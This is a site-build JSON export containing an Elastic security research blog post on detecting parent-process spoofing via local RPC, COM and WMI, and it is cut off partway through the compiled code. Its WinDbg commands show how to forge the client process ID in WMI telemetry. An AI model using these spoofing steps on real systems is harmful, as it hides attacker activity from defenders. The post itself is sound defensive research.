d=(t,e,n)=\u003e(n=t!=null?x(_(t)):{},c(e||!t||!t.__esModule?s(n,\"default\",{value:t,enumerable:!0}):n,t)),M=t=\u003ec(s({},\"__esModule\",{value:!0}),t);var i=j((h,u)=\u003e{u.exports=_jsx_runtime});var X={};l(X,{default:()=\u003eF,frontmatter:()=\u003eC});var r=d(i()),C={title:\"Reports\",slug:\"reports\"};function m(t){return(0,r.jsx)(r.Fragment,{})}function D(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(m,t)})):m(t)}var F=D;return M(X);})();\n;return Component;"},"_id":"categories/reports.mdx","_raw":{"sourceFilePath":"categories/reports.mdx","sourceFileName":"reports.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/reports"},"type":"Category","url":"/categories/reports"},{"title":"Security research","slug":"security-research","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var r in e)s(t,r,{get:e[r],enumerable:!0})},c=(t,e,r,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!j.call(t,o)\u0026\u0026o!==r\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=f(e,o))||a.enumerable});return t};var h=(t,e,r)=\u003e(r=t!=null?x(g(t)):{},c(e||!t||!t.__esModule?s(r,\"default\",{value:t,enumerable:!0}):r,t)),p=t=\u003ec(s({},\"__esModule\",{value:!0}),t);var i=l((X,u)=\u003e{u.exports=_jsx_runtime});var D={};d(D,{default:()=\u003eC,frontmatter:()=\u003ey});var n=h(i()),y={title:\"Security research\",slug:\"security-research\"};function m(t){return(0,n.jsx)(n.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(m,t)})):m(t)}var C=M;return p(D);})();\n;return Component;"},"_id":"categories/security-research.mdx","_raw":{"sourceFilePath":"categories/security-research.mdx","sourceFileName":"security-research.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/security-research"},"type":"Category","url":"/categories/security-research"}]},{"title":"Effective Parenting - detecting LRPC-based parent PID spoofing","slug":"effective-parenting-detecting-lrpc-based-parent-pid-spoofing","date":"2023-03-29","description":"Using process creation as a case study, this research will outline the evasion-detection arms race to date, describe the weaknesses in some current detection approaches and then follow the quest for a generic approach to LRPC-based evasion.","image":"blog-thumb-sorting-colors.jpg","tags":["windows internals","defense evasion"],"body":{"raw":"\nAdversaries currently utilize [RPC](https://docs.microsoft.com/en-us/windows/win32/rpc/)’s client-server architecture to obfuscate their activities on a host – including [COM](https://docs.microsoft.com/en-us/windows/win32/com/com-technical-overview#remoting) and [WMI](https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-architecture) which are both RPC-based. For example, a number of local RPC servers will happily launch processes on behalf of a malicious client - and that form of defense evasion is difficult to flag as malicious without being able to correlate it with the client.\n\n\n\nThe above annotated screenshot is the logical process tree after a Microsoft Word macro called three COM objects, each exposing a `ShellExecute` interface and also the WMI `Win32\\_Process::Create` method. The WMI call has specialized telemetry that can reconstruct that Microsoft Word initiated the process creation (the blue arrow), but the COM calls don’t (the red arrows). So defenders have no visibility that Microsoft Word made a COM call over an RPC call to spawn PowerShell elsewhere on the system.\n\nThe defender is left with a challenge to interpretation because of this lack of context - Word spawning PowerShell is a red flag, but is _Explorer_ spawning PowerShell malicious, or simply user behavior?\n\nRPC will typically use [LRPC](https://learn.microsoft.com/en-us/windows/win32/rpc/selecting-a-protocol-sequence) as the transport for inter-process communication. Using process creation as a case study, this research will outline the evasion-detection arms race to date, describe the weaknesses in some current detection approaches and then follow the quest for a generic approach to LRPC-based evasion.\n\n## A Brief History of Child Process Evasion\n\nIt is often very beneficial for adversaries to spawn child processes during intrusions. Using legitimate pre-installed system tools to achieve your aims saves on capability development time and can potentially evade security instrumentation by providing a veneer of legitimacy for the activity.\n\nHowever, for the activity to look plausibly legitimate, the parent process also needs to seem plausible. The classic counter-example is that Microsoft Word spawning PowerShell is highly anomalous. In fact, Elastic SIEM includes a prebuilt rule to detect [suspicious MS Office child processes](https://www.elastic.co/guide/en/security/current/suspicious-ms-office-child-process.html) and Elastic Endpoint will also [prevent malicious execution](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/initial_access_powershell_obfuscation_spawned_via_microsoft_office.toml). As documented in the Elastic [Global Threat Report](https://www.elastic.co/explore/security-without-limits/global-threat-report), suspicious parent/child relationships was one of the three most common defense evasion techniques used by threats in 2022.\n\nEndpoint Protection Platform (EPP) products could prevent the most egregious process parent relationships, but it was the rise of Endpoint Detection and Response (EDR) approaches with pervasive process start logging and the ability to retrospectively hunt that established a scalable approach to anomalous process tree detection.\n\nAdversaries initially pivoted to evasions using a [Win32 API feature introduced in Windows Vista](https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/) to support User Account Control (UAC) that allows a process to specify a different logical parent process to the real calling process. However, [endpoint security could still identify the real parent process](https://blog.f-secure.com/detecting-parent-pid-spoofing/) based on the calling process context during the [process creation notification callback](https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetcreateprocessnotifyroutine), and [detection rule](https://www.elastic.co/guide/en/security/current/parent-process-pid-spoofing.html) coverage was quickly re-established.\n\nNew evasion techniques evolved in response, and a common method currently leveraged by adversaries is to indirectly spawn child processes via RPC – including [DCOM](https://docs.microsoft.com/en-us/windows/win32/com/com-technical-overview#remoting) and [WMI](https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-architecture) which are both RPC-based. RPC can be either inter-host or simply inter-process. The latter is oxymoronically called Local Remote Procedure Call (LRPC).\n\nThe most well-known of these was the [`Win32\\_Process::Create`](https://learn.microsoft.com/en-us/windows/win32/cimwin32prov/create-method-in-class-win32-process) WMI method. In order to detect this, Microsoft appears to have explicitly added a new [`Microsoft-Windows-WMI-Activity`](https://github.com/jdu2600/Windows10EtwEvents/blame/master/manifest/Microsoft-Windows-WMI-Activity.tsv) ETW event in Windows 10 1809. The new event 23 included the client process id - the missing data point needed to associate the activity with a requesting client.\n\nUnfortunately adversaries were quickly able to pivot to alternate process spawning out-of-process RPC servers such as [`MMC20.Application::ExecuteShellCommand`](https://learn.microsoft.com/en-us/previous-versions/windows/desktop/mmc/view-executeshellcommand). Waiting for Microsoft to add telemetry to dual-purpose out-of-process RPC servers [one-by-one](https://en.wikipedia.org/wiki/Whac-A-Mole) wasn’t going to be a viable detection approach, so last year we set out on a side quest to generically associate LRPC server actions with the requesting LRPC client process.\n\n## Detecting LRPC provenance\n\nThe majority of previous public RPC telemetry research has focused on inter-host lateral movement – typically spawning a process on a remote host. For example: - [Lateral Movement using the MMC20.Application COM Object](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)- [Lateral Movement via DCOM: Round 2](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)- [Endpoint Detection of Remote Service Creation and PsExec](https://blog.f-secure.com/endpoint-detection-of-remote-service-creation-and-psexec/) - [Utilizing RPC Telemetry](https://posts.specterops.io/utilizing-rpc-telemetry-7af9ea08a1d5)- [Detecting Lateral Movement techniques with Elastic](https://www.elastic.co/blog/hunting-for-lateral-movement-using-event-query-language) - [Stopping Lateral Movement via the RPC Firewall](https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/)\n\nThe ultimate advice for defenders is typically to monitor RPC network traffic for anomalies or, better yet, to block unnecessary remote access to RPC interfaces with [RPC Filters](https://www.akamai.com/blog/security/guide-rpc-filter) (part of the [Windows Filtering Platform](https://learn.microsoft.com/en-us/windows/win32/fwp/)) or specific RPC methods with 3rd party tooling like [RPC Firewall](https://github.com/zeronetworks/rpcfirewall).\n\nUnfortunately these approaches don’t work when the adversary uses RPC to spawn a process elsewhere on the same host. In this case, the RPC transport is typically [ALPC](https://learn.microsoft.com/en-us/windows/win32/etw/alpc) - monitoring and filtering at the network layer does not then apply.\n\nOn the host, detection engineers typically look to leverage telemetry from the inbuilt Event Tracing (including EventLog) in the first instance. If this proves insufficient, then they can investigate custom approaches such as user-mode function hooking or mini-filter drivers.\n\nIn the RPC case, [`Microsoft-Windows-RPC`](https://github.com/jdu2600/Windows10EtwEvents/blob/master/manifest/Microsoft-Windows-RPC.tsv) ETW events are very useful for identifying anomalous behaviours.\n\nEspecially: - Event 5 - `RpcClientCallStart` (GUID InterfaceUuid, UInt32 ProcNum, UInt32 Protocol, UnicodeString NetworkAddress, UnicodeString Endpoint, UnicodeString Options, UInt32 AuthenticationLevel, UInt32 AuthenticationService, UInt32 ImpersonationLevel) - Event 6 - `RpcServerCallStart` (GUID InterfaceUuid, UInt32 ProcNum, UInt32 Protocol, UnicodeString NetworkAddress, UnicodeString Endpoint, UnicodeString Options, UInt32 AuthenticationLevel, UInt32 AuthenticationService, UInt32 ImpersonationLevel)\n\nAdditionally, `RpcClientCallStart` is generated by the client and `RpcServerCallStart` by the server so the ETW headers will provide the client and server process ids respectively. Further, there is a 1:1 mapping between endpoint addresses and server process ids. So the server process can be inferred from the `RpcClientCallStart` event.\n\nThe RPC interface UUID and Procedure number combined with the caller details are (usually) sufficient to identify intent. For example, RPC interface UUID `{367ABB81–9844–35F1-AD32–98F038001003}` is the Service Control Manager Remote Protocol which exposes the ability to configure Windows services. The 12th procedure in this interface is `RCreateServiceW` which notoriously is the method that PsExec uses to execute processes on remote systems.\n\nFor endpoint security vendors, however, there are a few issues to address before scalable robust `Microsoft-Windows-RPC` detections would be possible: 1. RPC event volumes are significant 2. There isn't an obvious mechanism to strongly correlate a client call with the resultant server call 3. There isn’t an obvious mechanism to strongly correlate a server call with the resultant server behavior\n\nLet’s address these three issues one by one.\n\n### LRPC event volumes\n\nThere are thousands of LRPC events each second – and most of them are uninteresting. To address the LRPC event volume concern, we could limit the events to just those RPC events that are inter-process (including inter-host). However, this immediately leads to the second concern. We need to identify the client of each server call in order to reduce event volumes down to just those which are inter-process.\n\n### Correlating RPC server calls with their clients\n\n\n\nModern Windows RPC has roughly three [transports](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rpce/472083a9-56f1-4d81-a208-d18aef68c101): - TCP/IP (nacn_ip_tcp, nacn_http, ncadg_ip_udp and nacn_np over SMB) - inter-process Named Pipes (direct nacn_np) - inter-process ALPC (ncalrpc)\n\nThe `RpcServerCallStart` event alone is not sufficient to determine if the call was inter-process. It needs to be correlated against a preceding `RpcCientCallStart` event, and [this correlation](https://stackoverflow.com/questions/41504738/how-to-correlate-rpc-calls-in-etw-traces) is unfortunately weak. At best you can identify a pair of `RpcServerCall` start/stop events that are bracketed by a pair of `RpcClientCall` events with the same parameters. (Note - for performance reasons, ETW events generated from different threads may arrive out of order). This means that you need to maintain a holistic RPC state - which creates an on-host storage and processing volume concern in order to address the event volume concern.\n\nMore importantly though, the `RpcClientCallStart` events are generated in the client process where an adversary has already achieved execution and therefore can be [intercepted with very little effort](https://twitter.com/dez_/status/938074904666271744). There is little point to implementing a detection for something so trivial to circumvent, especially when there are more effective options.\n\nIdeally, the RPC server would access the client details and directly log this information. Unfortunately, the ETW events don’t include this information - which is not surprising since one of the RPC design goals was simplification through abstraction. The RPC runtime (allegedly) can be configured via Group Policy to do exactly this, though. It can store [RPC State Information](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/enabling-rpc-state-information) which can then be used during debugging to [identify the client caller from the server thread](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/identifying-the-caller-from-the-server-thread). Unfortunately the Windows XP era documentation didn’t immediately work for Windows 10.\n\nIt did provide a rough outline describing how to address the first two problems: reducing event volumes and correlating server calls to client processes. It is possible to hook the RPC runtime in all RPC servers, account for the various transports, and then log or filter inter-process RPC events only. (This is likely akin to how [RPC Firewall](https://github.com/zeronetworks/rpcfirewall)handles network RPC - just with local endpoints).\n\n### Correlating RPC server calls and resultant behavior\n\nThe next problem was how to correctly attribute a specific server call to the resultant server behaviour. On a busy server, how could we tie an opaque call to the `ExecuteShellCommand` method to a specific process creation event? And what if the call came from script-based malware and was further wrapped under a method like [`IDispatch::Invoke`](https://learn.microsoft.com/en-us/windows/win32/api/oaidl/nf-oaidl-idispatch-invoke)?\n\nWe didn’t want to have to inspect the RPC parameter blob and individually implement parsing support for each abusable RPC method.\n\n#### Introducing ETW’s ActivityId\n\nThankfully, Microsoft had already thought of this scenario and [provides ETW tracing guidance](https://docs.microsoft.com/en-us/archive/msdn-magazine/2007/april/event-tracing-improve-debugging-and-performance-tuning-with-etw) to developers.\n\n\n\nThey suggest that developers generate and propagate a unique 128-bit `ActivityId` between related ETW events to enable end-to-end tracing scenarios. This is typically handled automatically by ETW for events generated on the same thread as the value is stored in thread local storage. However, the developer must manually propagate this ID to related activities performed by other threads… or processes. As long as the RPC Runtime and all Microsoft RPC servers had followed ETW tracing best practices, we should finally have the end-to-end correlation we want!\n\nIt was time to break out a decompiler (we like Ghidra but there are many options) and inspect rpcrt4.dll. By looking at the first parameter passed to [`EventRegister`](https://learn.microsoft.com/en-us/windows/win32/api/evntprov/nf-evntprov-eventregister) calls, we can see that there are three ETW GUIDs in the RPC runtime. These GUIDs are defined in a contiguous block and helpfully came with public symbols.\n\n\n\nThese GUIDs correspond to [`Microsoft-Windows-RPC`](https://github.com/jdu2600/Windows10EtwEvents/blob/086d88e58d6e063868ec62a10f9e1b33e8694735/manifest/Microsoft-Windows-RPC.tsv), [`Microsoft-Windows-Networking-Correlation`](https://github.com/jdu2600/Windows10EtwEvents/blob/086d88e58d6e063868ec62a10f9e1b33e8694735/manifest/Microsoft-Windows-Networking-Correlation.tsv) and [`Microsoft-Windows-RPC-Events`](https://github.com/jdu2600/Windows10EtwEvents/blob/086d88e58d6e063868ec62a10f9e1b33e8694735/manifest/Microsoft-Windows-RPC-Events.tsv) respectively. Further, the RPC runtime helpfully wraps calls to `EventWrite` in just two places.\n\nThe first call is in `McGenEventWrite\\_EtwEventWriteTransfer` and looks like this:\n\n```\n`EtwEventWriteTransfer` (RegHandle, EventDescriptor, NULL, NULL, UserDataCount, UserData);\n```\n\nThe NULL parameters mean that `ActivityId` will always be the configured per-thread `ActivityId` and `RelatedActivityId` will always be excluded in events logged by this code path.\n\nThe second call is in `EtwEx\\_tidActivityInfoTransfer` and looks like this:\n\n```\n`EtwEventWriteTransfer` (Microsoft_Windows_Networking_CorrelationHandle, EventDescriptor, ActivityId, RelatedActivityId, UserDataCount, UserData);\n```\n\nThis means that `RelatedActivityId` will only ever be logged in `Microsoft-Windows-Networking-Correlation` events. RPC Runtime `ActivityId` s are (predominantly) created within a helper function that ensures that this correlation is always logged.\n\n\n\nDecompilation also revealed that the RPC runtime allocates ETW `ActivityId` s by calling `UuidCreate` , which generates a random 128-bit value. This is done in locations such as `NdrAysncClientCall` and `HandleRequest`. In other words, the client and server both individually allocate `ActivityId` s. This isn’t unsurprising because the DCE/RPC specification doesn’t seem to include a transaction id or similar construct which would allow the client to propagate an ActivityId to the server. That’s okay though: we’re only currently missing the correlation between server call and the resultant behaviour. Also we don’t want to trust any potentially tainted client-supplied information.\n\nSo now we know exactly how RPC intends to correlate activities triggered by RPC calls- by setting the per-thread ETW `ActivityId` and by logging RPC ActivityId correlations to `Microsoft-Windows-Networking-Correlation`. The next question is whether the Microsoft RPC interfaces that support dual-purpose activities, such as process spawning, propagate the `ActivityId` appropriately.\n\nWe looked at the execution traces for the four indirect process creation examples from our initial case study. In each one, the RPC request was received on one thread, a second thread handled the request and a third thread spawned the process. Other than the timing, there appeared to be no possible mechanism to link the activities.\n\nUnfortunately, while the RPC subsystem is well behaved, most RPC servers aren't – though this likely isn't entirely their fault. The `ActivityId` is only preserved per-thread so if the server uses a worker thread pool (as per Microsoft’s [RPC scalability](https://learn.microsoft.com/en-us/windows/win32/rpc/scalability) advice) then the causality correlation is implicitly broken.\n\nFurther, kernel ETW events seem to universally log an `ActivityId` of `{00000000-0000-0000-0000-000000000000}` – even when the thread has a (user-mode) `ActivityId` configured. It is likely that the kernel implementation of `EtwWriteEvent` simply does not query the `ActivityId` which is stored in user-mode thread local storage.\n\nThis observation about kernel events is a showstopper for a generic approach based around ETW. Almost all of the interesting resultant server behaviors (process, registry, file etc) are logged by kernel ETW events.\n\nA new approach was necessary. It isn’t scalable to investigate individual ETW providers in dual-purpose RPC servers. (Though the `Microsoft.Windows.ShellExecute` TraceLogging provider looked interesting). What would Microsoft do?\n\n### What would Microsoft do?\n\nMore specifically, how does Microsoft populate the `ClientProcessId` in the `Microsoft-Windows-WMI-Activity` ETW event 23 (aka `Win32\\_Process::Create` )?\n\n```\n`task_023` (UnicodeString CorrelationId, UInt32 GroupOperationId, UInt32 OperationId, UnicodeString Commandline, UInt32 CreatedProcessId, UInt64 CreatedProcessCreationTime, UnicodeString ClientMachine, UnicodeString ClientMachineFQDN, UnicodeString User, UInt32 ClientProcessId, UInt64 ClientProcessCreationTime, Boolean IsLocal)\n```\n\nUnlike RPC, WMI natively supports end-to-end tracing via a `CorrelationId` which is a GUID that the WMI client passes to the server at the WMI layer so that WMI operations can be associated. However, for security use cases, we shouldn’t blindly trust client-supplied information for reasons previously mentioned.\n\nBut how was Microsoft determining the process id to log and was their approach something that could be replicated for other RPC Servers – possibly via an RPC server runtime hook?\n\nWe needed to find out where the data in that field came from. ETW conveniently provides the ability to record a stack trace when an event is generated and the [Sealighter](https://github.com/pathtofile/Sealighter) tool conveniently exposes this capability. Sealighter illustrates which specific ETW Write function is being called from which process.\n\nIn this case, the event was actually being written by `ntdll!EtwEventWrite` in the WMI Core Service (svchost.exe -k netsvcs -p -s Winmgmt) – not in the WMI Provider Host (WmiPrvSE.exe).\n\n\n\nPutting a breakpoint on `PublishWin32ProcessCreation` , we see via parameter value inspection that the `ClientProcessId` is passed (on the stack) as the 10th parameter. We can then look at `InspectWin32ProcessCreateExecution` to determine how the value that is passed in is determined.\n\nA roughly tidied Ghidra decompilation of `InspectWin32ProcessCreateExecution` might resemble this:\n\n\n\nWe can see that the client process id comes from the `CWbemNamespace` object. Searching for reference to this structure field, we find that it is only set in `CWbemNamespace::Initialize`. Our earlier stack trace started in `wbemcore!CCoreQueue` and this initialization appears to have occurred prior to queuing. So we could statically search for all locations where the initialization occurs or dynamically observe the actual code paths taken.\n\nWe know that this activity is being initiated over RPC, so one approach would be to place breakpoints on RPC send/receive functions in the client and server. An alternative might be to fire up Wireshark and examine the packet capture of the entire interaction when it occurs in cleartext over the network. We learned somewhat late in our research that Microsoft had excellent documentation for the [WMI Protocol Initialization](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wmi/1106e73c-9a7c-4e25-9216-0a5d8e581d62) that explained much of this and might have saved a little time.\n\nWe took the first approach. The second parameter to `InspectWin32ProcessCreateExecution` is an [`IWbemContext`](https://docs.microsoft.com/en-us/windows/win32/api/wbemcli/nn-wbemcli-iwbemcontext) – which allows the caller to provide additional information to providers. This is how the parameters to `Win32\\_Process::Create` are being passed. What if the first parameter was related to the WMI Client passing additional context to the WMI Core?\n\n`IWbemLevel1Login::NTLMLogin` stood out in the call traces as a good place to start looking.\n\n\n\nAnd right next to its COM interface UUID was IWbemLoginClientID[Ex] which had a very interesting `SetClientInfo` call, which was documented on MSDN:\n\n\n\nThe WMI client calls `wbemprox!SetClientIdentity` which looks roughly like this:\n\n\n\n`IWbemLoginClientIDEx` is currently undocumented, but we can infer the parameters from the values passed.\n\nAt this point, it looks like the client process is passing `ClientMachineName` , `ClientMachineFQDN` , `ClientProcessId` and `ClientProcessCreationTime` to the WMI Core. We can confirm this by changing the values and seeing if the ETW event logged by the WMI Core changes.\n\nUsing WinDbg, we set up a couple quick patches to the WMI client process and then spawned a process via WMI:\n\n```\nwindbg\u003e bp wbemprox!SetClientIdentity+0xff \"eu @rdx \\\"SPOOFED....\\\"; gc\"\nwindbg\u003e bp wbemprox!SetClientIdentity+0x1c4 \"r r9=0n1337; eu @r8 \\\"SPOOFED.COM\\\"; gc\"\nPS\u003e ([wmiclass]\"ROOT\\CIMv2:Win32_Process\").Create(\"calc.exe\")\n```\n\nUsing SilkETW (or another ETW capture mechanism), we see the following event from the server process:\n\n\n\nThe server is blindly reporting the values provided by the client. This means that this event cannot be relied upon for un-breaking WMI process provenance trees as the adversary can control the client process id. Falsely reporting this information would be an interesting defense evasion, and a tough one to identify reliably.\n\nFurther, a remote adversary can actually pass in a `ClientMachine` name equal to the local hostname and this WMI event will mistakenly log IsLocal as true. (See the earlier decompilation of `InspectWin32ProcessCreateExecution` ). This will make the event seem like a suspicious local execution rather than lateral movement, and represents another defence evasion opportunity.\n\nSo, this isn’t an approach that other RPC servers should follow after all.\n\n## Conclusion\n\nIn trying to generically solve LRPC provenance, we unfortunately demonstrate that the one existing LRPC provenance data point is unreliable. This has been reported to Microsoft where it was assessed as a next-version candidate bug that will be evaluated for future releases.\n\nOur fervent hope is that the ultimate solution involves the creation of a documented API that allows a server LRPC thread to determine the client thread of a connection. This would provide endpoint security products with a reliable mechanism to identify operations being proxied through LRPC calls in an attempt to hide their origin.\n\nMore generally though, this research highlights the need for defenders to have a detailed understanding of data provenance. It is necessary but not sufficient to know that the data was logged by a trustworthy source such as the kernel or a server process. In addition, you must also understand whether the data was intrinsic to the event or provided by a potentially untrustworthy client. Otherwise adversaries will exploit the gaps.\n","code":"var Component=(()=\u003e{var h=Object.create;var r=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var u=Object.getOwnPropertyNames;var f=Object.getPrototypeOf,m=Object.prototype.hasOwnProperty;var w=(i,e)=\u003e()=\u003e(e||i((e={exports:{}}).exports,e),e.exports),g=(i,e)=\u003e{for(var n in e)r(i,n,{get:e[n],enumerable:!0})},a=(i,e,n,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of u(e))!m.call(i,o)\u0026\u0026o!==n\u0026\u0026r(i,o,{get:()=\u003ee[o],enumerable:!(s=p(e,o))||s.enumerable});return i};var v=(i,e,n)=\u003e(n=i!=null?h(f(i)):{},a(e||!i||!i.__esModule?r(n,\"default\",{value:i,enumerable:!0}):n,i)),y=i=\u003ea(r({},\"__esModule\",{value:!0}),i);var l=w((R,c)=\u003e{c.exports=_jsx_runtime});var I={};g(I,{default:()=\u003eP,frontmatter:()=\u003eb});var t=v(l()),b={title:\"Effective Parenting - detecting LRPC-based parent PID spoofing\",slug:\"effective-parenting-detecting-lrpc-based-parent-pid-spoofing\",date:\"2023-03-29\",description:\"Using process creation as a case study, this research will outline the evasion-detection arms race to date, describe the weaknesses in some current detection approaches and then follow the quest for a generic approach to LRPC-based evasion.\",author:[{slug:\"john-uhlmann\"}],image:\"blog-thumb-sorting-colors.jpg\",category:[{slug:\"security-research\"}],tags:[\"windows internals\",\"defense evasion\"]};function d(i){let e=Object.assign({p:\"p\",a:\"a\",img:\"img\",code:\"code\",em:\"em\",h2:\"h2\",h3:\"h3\",h4:\"h4\",pre:\"pre\"},i.components);return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsxs)(e.p,{children:[\"Adversaries currently utilize \",(0,t.jsx)(e.a,{href:\"https://docs.microsoft.com/en-us/windows/win32/rpc/\",rel:\"nofollow\",children:\"RPC\"}),\"\\u2019s client-server architecture to obfuscate their activities on a host \\u2013 including \",(0,t.jsx)(e.a,{href:\"https://docs.microsoft.com/en-us/windows/win32/com/com-technical-overview#remoting\",rel:\"nofollow\",children:\"COM\"}),\" and \",(0,t.jsx)(e.a,{href:\"https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-architecture\",rel:\"nofollow\",children:\"WMI\"}),\" which are both RPC-based. For example, a number of local RPC servers will happily launch processes on behalf of a malicious client - and that form of defense evasion is difficult to flag as malicious without being able to correlate it with the client.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/effective-parenting-detecting-lrpc-based-parent-pid-spoofing/image23.jpg\",alt:\"Annotated process tree showing the breaks in the behaviour graph\",width:\"1440\",height:\"1267\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"The above annotated screenshot is the logical process tree after a Microsoft Word macro called three COM objects, each exposing a \",(0,t.jsx)(e.code,{children:\"ShellExecute\"}),\" interface and also the WMI \",(0,t.jsx)(e.code,{children:\"Win32\\\\_Process::Create\"}),\" method. The WMI call has specialized telemetry that can reconstruct that Microsoft Word initiated the process creation (the blue arrow), but the COM calls don\\u2019t (the red arrows). So defenders have no visibility that Microsoft Word made a COM call over an RPC call to spawn PowerShell elsewhere on the system.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"The defender is left with a challenge to interpretation because of this lack of context - Word spawning PowerShell is a red flag, but is \",(0,t.jsx)(e.em,{children:\"Explorer\"}),\" spawning PowerShell malicious, or simply user behavior?\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"RPC will typically use \",(0,t.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/rpc/selecting-a-protocol-sequence\",rel:\"nofollow\",children:\"LRPC\"}),\" as the transport for inter-process communication. Using process creation as a case study, this research will outline the evasion-detection arms race to date, describe the weaknesses in some current detection approaches and then follow the quest for a generic approach to LRPC-based evasion.\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"a-brief-history-of-child-process-evasion\",children:\"A Brief History of Child Process Evasion\"}),`\n`,(0,t.jsx)(e.p,{children:\"It is often very beneficial for adversaries to spawn child processes during intrusions. Using legitimate pre-installed system tools to achieve your aims saves on capability development time and can potentially evade security instrumentation by providing a veneer of legitimacy for the activity.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"However, for the activity to look plausibly legitimate, the parent process also needs to seem plausible. The classic counter-example is that Microsoft Word spawning PowerShell is highly anomalous. In fact, Elastic SIEM includes a prebuilt rule to detect \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/security/current/suspicious-ms-office-child-process.html\",rel:\"nofollow\",children:\"suspicious MS Office child processes\"}),\" and Elastic Endpoint will also \",(0,t.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/initial_access_powershell_obfuscation_spawned_via_microsoft_office.toml\",rel:\"nofollow\",children:\"prevent malicious execution\"}),\". As documented in the Elastic \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/explore/security-without-limits/global-threat-report\",rel:\"nofollow\",children:\"Global Threat Report\"}),\", suspicious parent/child relationships was one of the three most common defense evasion techniques used by threats in 2022.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"Endpoint Protection Platform (EPP) products could prevent the most egregious process parent relationships, but it was the rise of Endpoint Detection and Response (EDR) approaches with pervasive process start logging and the ability to retrospectively hunt that established a scalable approach to anomalous process tree detection.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Adversaries initially pivoted to evasions using a \",(0,t.jsx)(e.a,{href:\"https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/\",rel:\"nofollow\",children:\"Win32 API feature introduced in Windows Vista\"}),\" to support User Account Control (UAC) that allows a process to specify a different logical parent process to the real calling process. However, \",(0,t.jsx)(e.a,{href:\"https://blog.f-secure.com/detecting-parent-pid-spoofing/\",rel:\"nofollow\",children:\"endpoint security could still identify the real parent process\"}),\" based on the calling process context during the \",(0,t.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetcreateprocessnotifyroutine\",rel:\"nofollow\",children:\"process creation notification callback\"}),\", and \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/security/current/parent-process-pid-spoofing.html\",rel:\"nofollow\",children:\"detection rule\"}),\" coverage was quickly re-established.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"New evasion techniques evolved in response, and a common method currently leveraged by adversaries is to indirectly spawn child processes via RPC \\u2013 including \",(0,t.jsx)(e.a,{href:\"https://docs.microsoft.com/en-us/windows/win32/com/com-technical-overview#remoting\",rel:\"nofollow\",children:\"DCOM\"}),\" and \",(0,t.jsx)(e.a,{href:\"https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-architecture\",rel:\"nofollow\",children:\"WMI\"}),\" which are both RPC-based. RPC can be either inter-host or simply inter-process. The latter is oxymoronically called Local Remote Procedure Call (LRPC).\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"The most well-known of these was the \",(0,t.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/cimwin32prov/create-method-in-class-win32-process\",rel:\"nofollow\",children:(0,t.jsx)(e.code,{children:\"Win32\\\\_Process::Create\"})}),\" WMI method. In order to detect this, Microsoft appears to have explicitly added a new \",(0,t.jsx)(e.a,{href:\"https://github.com/jdu2600/Windows10EtwEvents/blame/master/manifest/Microsoft-Windows-WMI-Activity.tsv\",rel:\"nofollow\",children:(0,t.jsx)(e.code,{children:\"Microsoft-Windows-WMI-Activity\"})}),\" ETW event in Windows 10 1809. The new event 23 included the client process id - the missing data point needed to associate the activity with a requesting client.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Unfortunately adversaries were quickly able to pivot to alternate process spawning out-of-process RPC servers such as \",(0,t.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/previous-versions/windows/desktop/mmc/view-executeshellcommand\",rel:\"nofollow\",children:(0,t.jsx)(e.code,{children:\"MMC20.Application::ExecuteShellCommand\"})}),\". Waiting for Microsoft to add telemetry to dual-purpose out-of-process RPC servers 